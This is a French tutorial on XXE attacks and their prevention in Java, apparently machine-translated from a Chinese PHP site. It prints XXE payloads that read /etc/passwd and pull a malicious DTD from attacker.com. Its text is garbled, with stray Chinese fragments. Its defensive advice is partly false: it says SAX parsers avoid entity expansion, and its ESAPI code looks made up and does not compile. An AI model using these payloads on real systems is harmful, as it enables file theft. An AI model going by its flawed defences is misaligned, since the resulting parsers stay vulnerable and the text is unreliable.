Attaque et prévention d'entités externes XML en Java
Introduction :
XML (Extensible Markup Language) est largement utilisé dans de nombreuses applications et c'est un format universel pour stocker et transmettre des données. Cependant, en raison de vulnérabilités de sécurité dans le traitement XML, telles que les attaques d'entités externes XML (XML External Entity, XXE), les applications sont vulnérables aux attaques, nous devons donc prévenir et nous protéger contre les attaques XXE. Cet article présentera les principes des attaques XXE, les techniques d'attaque courantes, et fournira quelques mesures préventives courantes et des exemples de code.
1. Qu'est-ce qu'une attaque d'entité externe XML ?
Les attaques d'entités externes XML font référence à des attaquants exploitant les vulnérabilités des processeurs XML pour introduire des entités externes et lire des fichiers sensibles ou effectuer des opérations malveillantes. L'entité externe XML est un mécanisme spécial pour référencer des documents ou des ressources externes. Dans des circonstances normales, elle peut aider les applications à obtenir des données utiles. Cependant, un attaquant peut créer une entité malveillante pour lire des fichiers locaux, des fichiers distants et même exécuter des commandes.
2. Techniques d'attaque courantes
Attaque par instruction DOCTYPE
Un attaquant peut déclencher une attaque XXE en construisant une instruction DOCTYPE malveillante. Par exemple :
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Dans le code ci-dessus, l'attaquant a utilisé le fichier XML déclaré par DOCTYPE
声明定义了一个实体xxe
,它引用了/etc/passwd
文件,攻击者可以通过解析含有这个DOCTYPE
et a réussi à lire le fichier sensible.
URL Entity Attack
Un attaquant peut déclencher une attaque XXE en construisant une entité URL. Par exemple :
<!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">
Dans le code ci-dessus, l'attaquant place le fichier DTD malveillant sur un serveur distant et lit et exécute le fichier en référençant l'URL.
3. Mesures préventives et exemples de code
Afin de prévenir et de nous défendre contre les attaques XXE, nous pouvons prendre les mesures suivantes :
Utiliser l'analyseur SAX
L'analyseur XML est une méthode d'analyse XML basée sur les événements. Analyseur DOM, qui consomme moins de mémoire et ne prend pas en charge les extensions d'entité, évitant ainsi le risque d'attaques XXE. Voici un exemple de code pour analyser XML à l'aide d'un analyseur SAX :
SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxParser = factory.newSAXParser(); XMLHandler handler = new XMLHandler(); saxParser.parse(new File("example.xml"), handler);
Désactiver l'analyse des entités externes
Nous pouvons désactiver l'analyse des entités externes pendant le processus d'analyse XML, empêchant ainsi les attaques XXE. Voici un exemple de code pour désactiver l'analyse des entités externes à l'aide d'un analyseur DOM :
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new File("example.xml"));
Utilisez un analyseur XML sécurisé
L'utilisation d'un analyseur XML sécurisé peut fournir des capacités de défense plus fortes, telles que celles fournies dans OWASP ESAPI pour la défense contre les attaques XXE. Analyseurs XML. Voici un exemple de code pour analyser XML à l'aide d'OWASP ESAPI :
String xmlContent = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"; String safeContent = ESAPI.encoder().canonicalize(xmlContent); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = ESAPI.securityConfiguration().getSAXFactory().newSAXParser(); parser.parse(new InputSource(new StringReader(safeContent)), new DefaultHandler());
Conclusion :
L'attaque d'entité externe XML est une vulnérabilité de sécurité courante qui peut lire des informations sensibles ou effectuer des opérations malveillantes en construisant un fichier XML malveillant. Pour protéger les applications contre les attaques XXE, nous pouvons prendre une série de mesures défensives, telles que l'utilisation d'un analyseur SAX, la désactivation de l'analyse des entités externes et l'utilisation d'un analyseur XML sécurisé. Avec ces précautions, nous pouvons améliorer la sécurité de nos applications et réduire le risque d'attaques XXE.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!